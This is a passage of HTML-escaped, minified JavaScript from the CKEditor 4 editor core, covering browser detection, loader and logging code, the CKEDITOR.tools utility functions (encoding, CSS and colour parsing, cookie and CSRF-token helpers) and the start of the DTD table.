return a!=b&amp;&amp;a!=&quot;[&quot;+b+&quot;]&quot;},secure:&quot;https:&quot;==location.protocol};b.gecko=&quot;Gecko&quot;==navigator.product&amp;&amp;!b.webkit&amp;&amp;!b.ie;b.webkit&amp;&amp;(-1&lt;a.indexOf(&quot;chrome&quot;)?b.chrome=!0:b.safari=!0);var c=0;b.ie&amp;&amp;(c=d?parseFloat(d[1]):b.quirks||!document.documentMode?parseFloat(a.match(/msie (\d+)/)[1]):document.documentMode,b.ie9Compat=9==c,b.ie8Compat=8==c,b.ie7Compat=7==c,b.ie6Compat=7&gt;c||b.quirks);b.gecko&amp;&amp;(d=a.match(/rv:([\d\.]+)/))&amp;&amp;(d=d[1].split(&quot;.&quot;),c=1E4*d[0]+100*(d[1]||0)+1*(d[2]||0));b.air&amp;&amp;(c=parseFloat(a.match(/ adobeair\/(\d+)/)[1]));
b.webkit&amp;&amp;(c=parseFloat(a.match(/ applewebkit\/(\d+)/)[1]));b.version=c;b.isCompatible=!(b.ie&amp;&amp;7&gt;c)&amp;&amp;!(b.gecko&amp;&amp;4E4&gt;c)&amp;&amp;!(b.webkit&amp;&amp;534&gt;c);b.hidpi=2&lt;=window.devicePixelRatio;b.needsBrFiller=b.gecko||b.webkit||b.ie&amp;&amp;10&lt;c;b.needsNbspFiller=b.ie&amp;&amp;11&gt;c;b.cssClass=&quot;cke_browser_&quot;+(b.ie?&quot;ie&quot;:b.gecko?&quot;gecko&quot;:b.webkit?&quot;webkit&quot;:&quot;unknown&quot;);b.quirks&amp;&amp;(b.cssClass+=&quot; cke_browser_quirks&quot;);b.ie&amp;&amp;(b.cssClass+=&quot; cke_browser_ie&quot;+(b.quirks?&quot;6 cke_browser_iequirks&quot;:b.version));b.air&amp;&amp;(b.cssClass+=&quot; cke_browser_air&quot;);
b.iOS&amp;&amp;(b.cssClass+=&quot; cke_browser_ios&quot;);b.hidpi&amp;&amp;(b.cssClass+=&quot; cke_hidpi&quot;);return b}());
&quot;unloaded&quot;==CKEDITOR.status&amp;&amp;function(){CKEDITOR.event.implementOn(CKEDITOR);CKEDITOR.loadFullCore=function(){if(&quot;basic_ready&quot;!=CKEDITOR.status)CKEDITOR.loadFullCore._load=1;else{delete CKEDITOR.loadFullCore;var a=document.createElement(&quot;script&quot;);a.type=&quot;text/javascript&quot;;a.src=CKEDITOR.basePath+&quot;ckeditor.js&quot;;document.getElementsByTagName(&quot;head&quot;)[0].appendChild(a)}};CKEDITOR.loadFullCoreTimeout=0;CKEDITOR.add=function(a){(this._.pending||(this._.pending=[])).push(a)};(function(){CKEDITOR.domReady(function(){var a=
CKEDITOR.loadFullCore,d=CKEDITOR.loadFullCoreTimeout;a&amp;&amp;(CKEDITOR.status=&quot;basic_ready&quot;,a&amp;&amp;a._load?a():d&amp;&amp;setTimeout(function(){CKEDITOR.loadFullCore&amp;&amp;CKEDITOR.loadFullCore()},1E3*d))})})();CKEDITOR.status=&quot;basic_loaded&quot;}();&quot;use strict&quot;;CKEDITOR.VERBOSITY_WARN=1;CKEDITOR.VERBOSITY_ERROR=2;CKEDITOR.verbosity=CKEDITOR.VERBOSITY_WARN|CKEDITOR.VERBOSITY_ERROR;CKEDITOR.warn=function(a,d){CKEDITOR.verbosity&amp;CKEDITOR.VERBOSITY_WARN&amp;&amp;CKEDITOR.fire(&quot;log&quot;,{type:&quot;warn&quot;,errorCode:a,additionalData:d})};
CKEDITOR.error=function(a,d){CKEDITOR.verbosity&amp;CKEDITOR.VERBOSITY_ERROR&amp;&amp;CKEDITOR.fire(&quot;log&quot;,{type:&quot;error&quot;,errorCode:a,additionalData:d})};
CKEDITOR.on(&quot;log&quot;,function(a){if(window.console&amp;&amp;window.console.log){var d=console[a.data.type]?a.data.type:&quot;log&quot;,b=a.data.errorCode;if(a=a.data.additionalData)console[d](&quot;[CKEDITOR] Error code: &quot;+b+&quot;.&quot;,a);else console[d](&quot;[CKEDITOR] Error code: &quot;+b+&quot;.&quot;);console[d](&quot;[CKEDITOR] For more information about this error go to https://ckeditor.com/docs/ckeditor4/latest/guide/dev_errors.html#&quot;+b)}},null,null,999);CKEDITOR.dom={};
(function(){function a(a,b,e){this._minInterval=a;this._context=e;this._lastOutput=this._scheduledTimer=0;this._output=CKEDITOR.tools.bind(b,e||{});var c=this;this.input=function(){function a(){c._lastOutput=(new Date).getTime();c._scheduledTimer=0;c._call()}if(!c._scheduledTimer||!1!==c._reschedule()){var x=(new Date).getTime()-c._lastOutput;x&lt;c._minInterval?c._scheduledTimer=setTimeout(a,c._minInterval-x):a()}}}function d(x,b,e){a.call(this,x,b,e);this._args=[];var c=this;this.input=CKEDITOR.tools.override(this.input,
function(a){return function(){c._args=Array.prototype.slice.call(arguments);a.call(this)}})}var b=[],c=CKEDITOR.env.gecko?&quot;-moz-&quot;:CKEDITOR.env.webkit?&quot;-webkit-&quot;:CKEDITOR.env.ie?&quot;-ms-&quot;:&quot;&quot;,f=/&amp;/g,g=/&gt;/g,k=/&lt;/g,h=/&quot;/g,p=/&amp;(lt|gt|amp|quot|nbsp|shy|#\d{1,5});/g,q={lt:&quot;\x3c&quot;,gt:&quot;\x3e&quot;,amp:&quot;\x26&quot;,quot:&#039;&quot;&#039;,nbsp:&quot; &quot;,shy:&quot;­&quot;},e=function(a,b){return&quot;#&quot;==b[0]?String.fromCharCode(parseInt(b.slice(1),10)):q[b]};CKEDITOR.on(&quot;reset&quot;,function(){b=[]});CKEDITOR.tools={arrayCompare:function(a,b){if(!a&amp;&amp;!b)return!0;
if(!a||!b||a.length!=b.length)return!1;for(var e=0;e&lt;a.length;e++)if(a[e]!=b[e])return!1;return!0},getIndex:function(a,b){for(var e=0;e&lt;a.length;++e)if(b(a[e]))return e;return-1},clone:function(a){var b;if(a&amp;&amp;a instanceof Array){b=[];for(var e=0;e&lt;a.length;e++)b[e]=CKEDITOR.tools.clone(a[e]);return b}if(null===a||&quot;object&quot;!=typeof a||a instanceof String||a instanceof Number||a instanceof Boolean||a instanceof Date||a instanceof RegExp||a.nodeType||a.window===a)return a;b=new a.constructor;for(e in a)b[e]=
CKEDITOR.tools.clone(a[e]);return b},capitalize:function(a,b){return a.charAt(0).toUpperCase()+(b?a.slice(1):a.slice(1).toLowerCase())},extend:function(a){var b=arguments.length,e,c;&quot;boolean&quot;==typeof(e=arguments[b-1])?b--:&quot;boolean&quot;==typeof(e=arguments[b-2])&amp;&amp;(c=arguments[b-1],b-=2);for(var h=1;h&lt;b;h++){var m=arguments[h],d;for(d in m)if(!0===e||null==a[d])if(!c||d in c)a[d]=m[d]}return a},prototypedCopy:function(a){var b=function(){};b.prototype=a;return new b},copy:function(a){var b={},e;for(e in a)b[e]=
a[e];return b},isArray:function(a){return&quot;[object Array]&quot;==Object.prototype.toString.call(a)},isEmpty:function(a){for(var b in a)if(a.hasOwnProperty(b))return!1;return!0},cssVendorPrefix:function(a,b,e){if(e)return c+a+&quot;:&quot;+b+&quot;;&quot;+a+&quot;:&quot;+b;e={};e[a]=b;e[c+a]=b;return e},cssStyleToDomStyle:function(){var a=document.createElement(&quot;div&quot;).style,b=&quot;undefined&quot;!=typeof a.cssFloat?&quot;cssFloat&quot;:&quot;undefined&quot;!=typeof a.styleFloat?&quot;styleFloat&quot;:&quot;float&quot;;return function(a){return&quot;float&quot;==a?b:a.replace(/-./g,function(a){return a.substr(1).toUpperCase()})}}(),
buildStyleHtml:function(a){a=[].concat(a);for(var b,e=[],c=0;c&lt;a.length;c++)if(b=a[c])/@import|[{}]/.test(b)?e.push(&quot;\x3cstyle\x3e&quot;+b+&quot;\x3c/style\x3e&quot;):e.push(&#039;\x3clink type\x3d&quot;text/css&quot; rel\x3dstylesheet href\x3d&quot;&#039;+b+&#039;&quot;\x3e&#039;);return e.join(&quot;&quot;)},htmlEncode:function(a){return void 0===a||null===a?&quot;&quot;:String(a).replace(f,&quot;\x26amp;&quot;).replace(g,&quot;\x26gt;&quot;).replace(k,&quot;\x26lt;&quot;)},htmlDecode:function(a){return a.replace(p,e)},htmlEncodeAttr:function(a){return CKEDITOR.tools.htmlEncode(a).replace(h,&quot;\x26quot;&quot;)},
htmlDecodeAttr:function(a){return CKEDITOR.tools.htmlDecode(a)},transformPlainTextToHtml:function(a,b){var e=b==CKEDITOR.ENTER_BR,c=this.htmlEncode(a.replace(/\r\n/g,&quot;\n&quot;)),c=c.replace(/\t/g,&quot;\x26nbsp;\x26nbsp; \x26nbsp;&quot;),h=b==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;;if(!e){var m=/\n{2}/g;if(m.test(c))var d=&quot;\x3c&quot;+h+&quot;\x3e&quot;,p=&quot;\x3c/&quot;+h+&quot;\x3e&quot;,c=d+c.replace(m,function(){return p+d})+p}c=c.replace(/\n/g,&quot;\x3cbr\x3e&quot;);e||(c=c.replace(new RegExp(&quot;\x3cbr\x3e(?\x3d\x3c/&quot;+h+&quot;\x3e)&quot;),function(a){return CKEDITOR.tools.repeat(a,
2)}));c=c.replace(/^ | $/g,&quot;\x26nbsp;&quot;);return c=c.replace(/(&gt;|\s) /g,function(a,b){return b+&quot;\x26nbsp;&quot;}).replace(/ (?=&lt;)/g,&quot;\x26nbsp;&quot;)},getNextNumber:function(){var a=0;return function(){return++a}}(),getNextId:function(){return&quot;cke_&quot;+this.getNextNumber()},getUniqueId:function(){for(var a=&quot;e&quot;,b=0;8&gt;b;b++)a+=Math.floor(65536*(1+Math.random())).toString(16).substring(1);return a},override:function(a,b){var e=b(a);e.prototype=a.prototype;return e},setTimeout:function(a,b,e,c,h){h||(h=window);e||(e=
h);return h.setTimeout(function(){c?a.apply(e,[].concat(c)):a.apply(e)},b||0)},throttle:function(a,b,e){return new this.buffers.throttle(a,b,e)},trim:function(){var a=/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g;return function(b){return b.replace(a,&quot;&quot;)}}(),ltrim:function(){var a=/^[ \t\n\r]+/g;return function(b){return b.replace(a,&quot;&quot;)}}(),rtrim:function(){var a=/[ \t\n\r]+$/g;return function(b){return b.replace(a,&quot;&quot;)}}(),indexOf:function(a,b){if(&quot;function&quot;==typeof b)for(var e=0,c=a.length;e&lt;c;e++){if(b(a[e]))return e}else{if(a.indexOf)return a.indexOf(b);
e=0;for(c=a.length;e&lt;c;e++)if(a[e]===b)return e}return-1},search:function(a,b){var e=CKEDITOR.tools.indexOf(a,b);return 0&lt;=e?a[e]:null},bind:function(a,b){return function(){return a.apply(b,arguments)}},createClass:function(a){var b=a.$,e=a.base,c=a.privates||a._,h=a.proto;a=a.statics;!b&amp;&amp;(b=function(){e&amp;&amp;this.base.apply(this,arguments)});if(c)var m=b,b=function(){var a=this._||(this._={}),b;for(b in c){var e=c[b];a[b]=&quot;function&quot;==typeof e?CKEDITOR.tools.bind(e,this):e}m.apply(this,arguments)};e&amp;&amp;
(b.prototype=this.prototypedCopy(e.prototype),b.prototype.constructor=b,b.base=e,b.baseProto=e.prototype,b.prototype.base=function(){this.base=e.prototype.base;e.apply(this,arguments);this.base=arguments.callee});h&amp;&amp;this.extend(b.prototype,h,!0);a&amp;&amp;this.extend(b,a,!0);return b},addFunction:function(a,e){return b.push(function(){return a.apply(e||this,arguments)})-1},removeFunction:function(a){b[a]=null},callFunction:function(a){var e=b[a];return e&amp;&amp;e.apply(window,Array.prototype.slice.call(arguments,
1))},cssLength:function(){var a=/^-?\d+\.?\d*px$/,b;return function(e){b=CKEDITOR.tools.trim(e+&quot;&quot;)+&quot;px&quot;;return a.test(b)?b:e||&quot;&quot;}}(),convertToPx:function(){var a;return function(b){a||(a=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv style\x3d&quot;position:absolute;left:-9999px;top:-9999px;margin:0px;padding:0px;border:0px;&quot;\x3e\x3c/div\x3e&#039;,CKEDITOR.document),CKEDITOR.document.getBody().append(a));if(!/%$/.test(b)){var e=0&gt;parseFloat(b);e&amp;&amp;(b=b.replace(&quot;-&quot;,&quot;&quot;));a.setStyle(&quot;width&quot;,b);b=a.$.clientWidth;
return e?-b:b}return b}}(),repeat:function(a,b){return Array(b+1).join(a)},tryThese:function(){for(var a,b=0,e=arguments.length;b&lt;e;b++){var c=arguments[b];try{a=c();break}catch(h){}}return a},genKey:function(){return Array.prototype.slice.call(arguments).join(&quot;-&quot;)},defer:function(a){return function(){var b=arguments,e=this;window.setTimeout(function(){a.apply(e,b)},0)}},normalizeCssText:function(a,b){var e=[],c,h=CKEDITOR.tools.parseCssText(a,!0,b);for(c in h)e.push(c+&quot;:&quot;+h[c]);e.sort();return e.length?
e.join(&quot;;&quot;)+&quot;;&quot;:&quot;&quot;},convertRgbToHex:function(a){return a.replace(/(?:rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\))/gi,function(a,b,e,c){a=[b,e,c];for(b=0;3&gt;b;b++)a[b]=(&quot;0&quot;+parseInt(a[b],10).toString(16)).slice(-2);return&quot;#&quot;+a.join(&quot;&quot;)})},normalizeHex:function(a){return a.replace(/#(([0-9a-f]{3}){1,2})($|;|\s+)/gi,function(a,b,e,c){a=b.toLowerCase();3==a.length&amp;&amp;(a=a.split(&quot;&quot;),a=[a[0],a[0],a[1],a[1],a[2],a[2]].join(&quot;&quot;));return&quot;#&quot;+a+c})},parseCssText:function(a,b,e){var c={};e&amp;&amp;(a=(new CKEDITOR.dom.element(&quot;span&quot;)).setAttribute(&quot;style&quot;,
a).getAttribute(&quot;style&quot;)||&quot;&quot;);a&amp;&amp;(a=CKEDITOR.tools.normalizeHex(CKEDITOR.tools.convertRgbToHex(a)));if(!a||&quot;;&quot;==a)return c;a.replace(/&amp;quot;/g,&#039;&quot;&#039;).replace(/\s*([^:;\s]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,e,x){b&amp;&amp;(e=e.toLowerCase(),&quot;font-family&quot;==e&amp;&amp;(x=x.replace(/\s*,\s*/g,&quot;,&quot;)),x=CKEDITOR.tools.trim(x));c[e]=x});return c},writeCssText:function(a,b){var e,c=[];for(e in a)c.push(e+&quot;:&quot;+a[e]);b&amp;&amp;c.sort();return c.join(&quot;; &quot;)},objectCompare:function(a,b,e){var c;if(!a&amp;&amp;!b)return!0;if(!a||!b)return!1;
for(c in a)if(a[c]!=b[c])return!1;if(!e)for(c in b)if(a[c]!=b[c])return!1;return!0},objectKeys:function(a){var b=[],e;for(e in a)b.push(e);return b},convertArrayToObject:function(a,b){var e={};1==arguments.length&amp;&amp;(b=!0);for(var c=0,h=a.length;c&lt;h;++c)e[a[c]]=b;return e},fixDomain:function(){for(var a;;)try{a=window.parent.document.domain;break}catch(b){a=a?a.replace(/.+?(?:\.|$)/,&quot;&quot;):document.domain;if(!a)break;document.domain=a}return!!a},eventsBuffer:function(a,b,e){return new this.buffers.event(a,
b,e)},enableHtml5Elements:function(a,b){for(var e=&quot;abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video&quot;.split(&quot; &quot;),c=e.length,h;c--;)h=a.createElement(e[c]),b&amp;&amp;a.appendChild(h)},checkIfAnyArrayItemMatches:function(a,b){for(var e=0,c=a.length;e&lt;c;++e)if(a[e].match(b))return!0;return!1},checkIfAnyObjectPropertyMatches:function(a,b){for(var e in a)if(e.match(b))return!0;return!1},keystrokeToString:function(a,
b){var e=this.keystrokeToArray(a,b);e.display=e.display.join(&quot;+&quot;);e.aria=e.aria.join(&quot;+&quot;);return e},keystrokeToArray:function(a,b){var e=b&amp;16711680,c=b&amp;65535,h=CKEDITOR.env.mac,m=[],d=[];e&amp;CKEDITOR.CTRL&amp;&amp;(m.push(h?&quot;⌘&quot;:a[17]),d.push(h?a[224]:a[17]));e&amp;CKEDITOR.ALT&amp;&amp;(m.push(h?&quot;⌥&quot;:a[18]),d.push(a[18]));e&amp;CKEDITOR.SHIFT&amp;&amp;(m.push(h?&quot;⇧&quot;:a[16]),d.push(a[16]));c&amp;&amp;(a[c]?(m.push(a[c]),d.push(a[c])):(m.push(String.fromCharCode(c)),d.push(String.fromCharCode(c))));return{display:m,aria:d}},transparentImageData:&quot;data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw\x3d\x3d&quot;,
getCookie:function(a){a=a.toLowerCase();for(var b=document.cookie.split(&quot;;&quot;),e,c,h=0;h&lt;b.length;h++)if(e=b[h].split(&quot;\x3d&quot;),c=decodeURIComponent(CKEDITOR.tools.trim(e[0]).toLowerCase()),c===a)return decodeURIComponent(1&lt;e.length?e[1]:&quot;&quot;);return null},setCookie:function(a,b){document.cookie=encodeURIComponent(a)+&quot;\x3d&quot;+encodeURIComponent(b)+&quot;;path\x3d/&quot;},getCsrfToken:function(){var a=CKEDITOR.tools.getCookie(&quot;ckCsrfToken&quot;);if(!a||40!=a.length){var a=[],b=&quot;&quot;;if(window.crypto&amp;&amp;window.crypto.getRandomValues)a=
new Uint8Array(40),window.crypto.getRandomValues(a);else for(var e=0;40&gt;e;e++)a.push(Math.floor(256*Math.random()));for(e=0;e&lt;a.length;e++)var c=&quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;.charAt(a[e]%36),b=b+(.5&lt;Math.random()?c.toUpperCase():c);a=b;CKEDITOR.tools.setCookie(&quot;ckCsrfToken&quot;,a)}return a},escapeCss:function(a){return a?window.CSS&amp;&amp;CSS.escape?CSS.escape(a):isNaN(parseInt(a.charAt(0),10))?a:&quot;\\3&quot;+a.charAt(0)+&quot; &quot;+a.substring(1,a.length):&quot;&quot;},getMouseButton:function(a){var b=(a=a.data)&amp;&amp;a.$;return a&amp;&amp;
b?CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version?4===b.button?CKEDITOR.MOUSE_BUTTON_MIDDLE:1===b.button?CKEDITOR.MOUSE_BUTTON_LEFT:CKEDITOR.MOUSE_BUTTON_RIGHT:b.button:!1},convertHexStringToBytes:function(a){var b=[],e=a.length/2,c;for(c=0;c&lt;e;c++)b.push(parseInt(a.substr(2*c,2),16));return b},convertBytesToBase64:function(a){var b=&quot;&quot;,e=a.length,c;for(c=0;c&lt;e;c+=3){var h=a.slice(c,c+3),m=h.length,d=[],p;if(3&gt;m)for(p=m;3&gt;p;p++)h[p]=0;d[0]=(h[0]&amp;252)&gt;&gt;2;d[1]=(h[0]&amp;3)&lt;&lt;4|h[1]&gt;&gt;4;d[2]=(h[1]&amp;15)&lt;&lt;2|(h[2]&amp;192)&gt;&gt;
6;d[3]=h[2]&amp;63;for(p=0;4&gt;p;p++)b=p&lt;=m?b+&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;.charAt(d[p]):b+&quot;\x3d&quot;}return b},style:{parse:{_colors:{aliceblue:&quot;#F0F8FF&quot;,antiquewhite:&quot;#FAEBD7&quot;,aqua:&quot;#00FFFF&quot;,aquamarine:&quot;#7FFFD4&quot;,azure:&quot;#F0FFFF&quot;,beige:&quot;#F5F5DC&quot;,bisque:&quot;#FFE4C4&quot;,black:&quot;#000000&quot;,blanchedalmond:&quot;#FFEBCD&quot;,blue:&quot;#0000FF&quot;,blueviolet:&quot;#8A2BE2&quot;,brown:&quot;#A52A2A&quot;,burlywood:&quot;#DEB887&quot;,cadetblue:&quot;#5F9EA0&quot;,chartreuse:&quot;#7FFF00&quot;,chocolate:&quot;#D2691E&quot;,coral:&quot;#FF7F50&quot;,cornflowerblue:&quot;#6495ED&quot;,
cornsilk:&quot;#FFF8DC&quot;,crimson:&quot;#DC143C&quot;,cyan:&quot;#00FFFF&quot;,darkblue:&quot;#00008B&quot;,darkcyan:&quot;#008B8B&quot;,darkgoldenrod:&quot;#B8860B&quot;,darkgray:&quot;#A9A9A9&quot;,darkgreen:&quot;#006400&quot;,darkgrey:&quot;#A9A9A9&quot;,darkkhaki:&quot;#BDB76B&quot;,darkmagenta:&quot;#8B008B&quot;,darkolivegreen:&quot;#556B2F&quot;,darkorange:&quot;#FF8C00&quot;,darkorchid:&quot;#9932CC&quot;,darkred:&quot;#8B0000&quot;,darksalmon:&quot;#E9967A&quot;,darkseagreen:&quot;#8FBC8F&quot;,darkslateblue:&quot;#483D8B&quot;,darkslategray:&quot;#2F4F4F&quot;,darkslategrey:&quot;#2F4F4F&quot;,darkturquoise:&quot;#00CED1&quot;,darkviolet:&quot;#9400D3&quot;,deeppink:&quot;#FF1493&quot;,deepskyblue:&quot;#00BFFF&quot;,
dimgray:&quot;#696969&quot;,dimgrey:&quot;#696969&quot;,dodgerblue:&quot;#1E90FF&quot;,firebrick:&quot;#B22222&quot;,floralwhite:&quot;#FFFAF0&quot;,forestgreen:&quot;#228B22&quot;,fuchsia:&quot;#FF00FF&quot;,gainsboro:&quot;#DCDCDC&quot;,ghostwhite:&quot;#F8F8FF&quot;,gold:&quot;#FFD700&quot;,goldenrod:&quot;#DAA520&quot;,gray:&quot;#808080&quot;,green:&quot;#008000&quot;,greenyellow:&quot;#ADFF2F&quot;,grey:&quot;#808080&quot;,honeydew:&quot;#F0FFF0&quot;,hotpink:&quot;#FF69B4&quot;,indianred:&quot;#CD5C5C&quot;,indigo:&quot;#4B0082&quot;,ivory:&quot;#FFFFF0&quot;,khaki:&quot;#F0E68C&quot;,lavender:&quot;#E6E6FA&quot;,lavenderblush:&quot;#FFF0F5&quot;,lawngreen:&quot;#7CFC00&quot;,lemonchiffon:&quot;#FFFACD&quot;,lightblue:&quot;#ADD8E6&quot;,lightcoral:&quot;#F08080&quot;,
lightcyan:&quot;#E0FFFF&quot;,lightgoldenrodyellow:&quot;#FAFAD2&quot;,lightgray:&quot;#D3D3D3&quot;,lightgreen:&quot;#90EE90&quot;,lightgrey:&quot;#D3D3D3&quot;,lightpink:&quot;#FFB6C1&quot;,lightsalmon:&quot;#FFA07A&quot;,lightseagreen:&quot;#20B2AA&quot;,lightskyblue:&quot;#87CEFA&quot;,lightslategray:&quot;#778899&quot;,lightslategrey:&quot;#778899&quot;,lightsteelblue:&quot;#B0C4DE&quot;,lightyellow:&quot;#FFFFE0&quot;,lime:&quot;#00FF00&quot;,limegreen:&quot;#32CD32&quot;,linen:&quot;#FAF0E6&quot;,magenta:&quot;#FF00FF&quot;,maroon:&quot;#800000&quot;,mediumaquamarine:&quot;#66CDAA&quot;,mediumblue:&quot;#0000CD&quot;,mediumorchid:&quot;#BA55D3&quot;,mediumpurple:&quot;#9370DB&quot;,mediumseagreen:&quot;#3CB371&quot;,
mediumslateblue:&quot;#7B68EE&quot;,mediumspringgreen:&quot;#00FA9A&quot;,mediumturquoise:&quot;#48D1CC&quot;,mediumvioletred:&quot;#C71585&quot;,midnightblue:&quot;#191970&quot;,mintcream:&quot;#F5FFFA&quot;,mistyrose:&quot;#FFE4E1&quot;,moccasin:&quot;#FFE4B5&quot;,navajowhite:&quot;#FFDEAD&quot;,navy:&quot;#000080&quot;,oldlace:&quot;#FDF5E6&quot;,olive:&quot;#808000&quot;,olivedrab:&quot;#6B8E23&quot;,orange:&quot;#FFA500&quot;,orangered:&quot;#FF4500&quot;,orchid:&quot;#DA70D6&quot;,palegoldenrod:&quot;#EEE8AA&quot;,palegreen:&quot;#98FB98&quot;,paleturquoise:&quot;#AFEEEE&quot;,palevioletred:&quot;#DB7093&quot;,papayawhip:&quot;#FFEFD5&quot;,peachpuff:&quot;#FFDAB9&quot;,peru:&quot;#CD853F&quot;,pink:&quot;#FFC0CB&quot;,plum:&quot;#DDA0DD&quot;,
powderblue:&quot;#B0E0E6&quot;,purple:&quot;#800080&quot;,rebeccapurple:&quot;#663399&quot;,red:&quot;#FF0000&quot;,rosybrown:&quot;#BC8F8F&quot;,royalblue:&quot;#4169E1&quot;,saddlebrown:&quot;#8B4513&quot;,salmon:&quot;#FA8072&quot;,sandybrown:&quot;#F4A460&quot;,seagreen:&quot;#2E8B57&quot;,seashell:&quot;#FFF5EE&quot;,sienna:&quot;#A0522D&quot;,silver:&quot;#C0C0C0&quot;,skyblue:&quot;#87CEEB&quot;,slateblue:&quot;#6A5ACD&quot;,slategray:&quot;#708090&quot;,slategrey:&quot;#708090&quot;,snow:&quot;#FFFAFA&quot;,springgreen:&quot;#00FF7F&quot;,steelblue:&quot;#4682B4&quot;,tan:&quot;#D2B48C&quot;,teal:&quot;#008080&quot;,thistle:&quot;#D8BFD8&quot;,tomato:&quot;#FF6347&quot;,turquoise:&quot;#40E0D0&quot;,violet:&quot;#EE82EE&quot;,wheat:&quot;#F5DEB3&quot;,white:&quot;#FFFFFF&quot;,
whitesmoke:&quot;#F5F5F5&quot;,yellow:&quot;#FFFF00&quot;,yellowgreen:&quot;#9ACD32&quot;},_borderStyle:&quot;none hidden dotted dashed solid double groove ridge inset outset&quot;.split(&quot; &quot;),_widthRegExp:/^(thin|medium|thick|[\+-]?\d+(\.\d+)?[a-z%]+|[\+-]?0+(\.0+)?|\.\d+[a-z%]+)$/,_rgbaRegExp:/rgba?\(\s*\d+%?\s*,\s*\d+%?\s*,\s*\d+%?\s*(?:,\s*[0-9.]+\s*)?\)/gi,_hslaRegExp:/hsla?\(\s*[0-9.]+\s*,\s*\d+%\s*,\s*\d+%\s*(?:,\s*[0-9.]+\s*)?\)/gi,background:function(a){var b={},e=this._findColor(a);e.length&amp;&amp;(b.color=e[0],CKEDITOR.tools.array.forEach(e,
function(b){a=a.replace(b,&quot;&quot;)}));if(a=CKEDITOR.tools.trim(a))b.unprocessed=a;return b},margin:function(a){function b(a){e.top=c[a[0]];e.right=c[a[1]];e.bottom=c[a[2]];e.left=c[a[3]]}var e={},c=a.match(/(?:\-?[\.\d]+(?:%|\w*)|auto|inherit|initial|unset)/g)||[&quot;0px&quot;];switch(c.length){case 1:b([0,0,0,0]);break;case 2:b([0,1,0,1]);break;case 3:b([0,1,2,1]);break;case 4:b([0,1,2,3])}return e},border:function(a){var b={},e=a.split(/\s+/g);a=CKEDITOR.tools.style.parse._findColor(a);a.length&amp;&amp;(b.color=a[0]);
CKEDITOR.tools.array.forEach(e,function(a){b.style||-1===CKEDITOR.tools.indexOf(CKEDITOR.tools.style.parse._borderStyle,a)?!b.width&amp;&amp;CKEDITOR.tools.style.parse._widthRegExp.test(a)&amp;&amp;(b.width=a):b.style=a});return b},_findColor:function(a){var b=[],e=CKEDITOR.tools.array,b=b.concat(a.match(this._rgbaRegExp)||[]),b=b.concat(a.match(this._hslaRegExp)||[]);return b=b.concat(e.filter(a.split(/\s+/),function(a){return a.match(/^\#[a-f0-9]{3}(?:[a-f0-9]{3})?$/gi)?!0:a.toLowerCase()in CKEDITOR.tools.style.parse._colors}))}}},
array:{filter:function(a,b,e){var c=[];this.forEach(a,function(h,d){b.call(e,h,d,a)&amp;&amp;c.push(h)});return c},forEach:function(a,b,e){var c=a.length,h;for(h=0;h&lt;c;h++)b.call(e,a[h],h,a)},map:function(a,b,e){for(var c=[],h=0;h&lt;a.length;h++)c.push(b.call(e,a[h],h,a));return c},reduce:function(a,b,e,c){for(var h=0;h&lt;a.length;h++)e=b.call(c,e,a[h],h,a);return e},every:function(a,b,e){if(!a.length)return!0;b=this.filter(a,b,e);return a.length===b.length}},object:{findKey:function(a,b){if(&quot;object&quot;!==typeof a)return null;
for(var e in a)if(a[e]===b)return e;return null},merge:function(a,b){var e=CKEDITOR.tools,c=e.clone(a),h=e.clone(b);e.array.forEach(e.objectKeys(h),function(a){c[a]=&quot;object&quot;===typeof h[a]&amp;&amp;&quot;object&quot;===typeof c[a]?e.object.merge(c[a],h[a]):h[a]});return c}},getAbsoluteRectPosition:function(a,b){function e(a){if(a){var b=a.getClientRect();c.top+=b.top;c.left+=b.left;&quot;x&quot;in c&amp;&amp;&quot;y&quot;in c&amp;&amp;(c.x+=b.x,c.y+=b.y);e(a.getWindow().getFrame())}}var c=CKEDITOR.tools.copy(b);e(a.getFrame());var h=CKEDITOR.document.getWindow().getScrollPosition();
c.top+=h.y;c.left+=h.x;&quot;x&quot;in c&amp;&amp;&quot;y&quot;in c&amp;&amp;(c.y+=h.y,c.x+=h.x);c.right=c.left+c.width;c.bottom=c.top+c.height;return c}};a.prototype={reset:function(){this._lastOutput=0;this._clearTimer()},_reschedule:function(){return!1},_call:function(){this._output()},_clearTimer:function(){this._scheduledTimer&amp;&amp;clearTimeout(this._scheduledTimer);this._scheduledTimer=0}};d.prototype=CKEDITOR.tools.prototypedCopy(a.prototype);d.prototype._reschedule=function(){this._scheduledTimer&amp;&amp;this._clearTimer()};d.prototype._call=
function(){this._output.apply(this._context,this._args)};CKEDITOR.tools.buffers={};CKEDITOR.tools.buffers.event=a;CKEDITOR.tools.buffers.throttle=d;CKEDITOR.tools.array.indexOf=CKEDITOR.tools.indexOf;CKEDITOR.tools.array.isArray=CKEDITOR.tools.isArray;CKEDITOR.MOUSE_BUTTON_LEFT=0;CKEDITOR.MOUSE_BUTTON_MIDDLE=1;CKEDITOR.MOUSE_BUTTON_RIGHT=2})();
CKEDITOR.dtd=function(){var a=CKEDITOR.tools.extend,d=function(a,b){for(var c=CKEDITOR.tools.clone(a),h=1;h&lt;arguments.length;h++){b=arguments[h];for(var d in b)delete c[d]}return c},b={},c={},f={address:1,article:1,aside:1,blockquote:1,details:1,div:1,dl:1,fieldset:1,figure:1,footer:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,header:1,hgroup:1,hr:1,main:1,menu:1,nav:1,ol:1,p:1,pre:1,section:1,table:1,ul:1},g={command:1,link:1,meta:1,noscript:1,script:1,style:1},k={},h={&quot;#&quot;:1},p={center:1,dir:1,noframes:1};
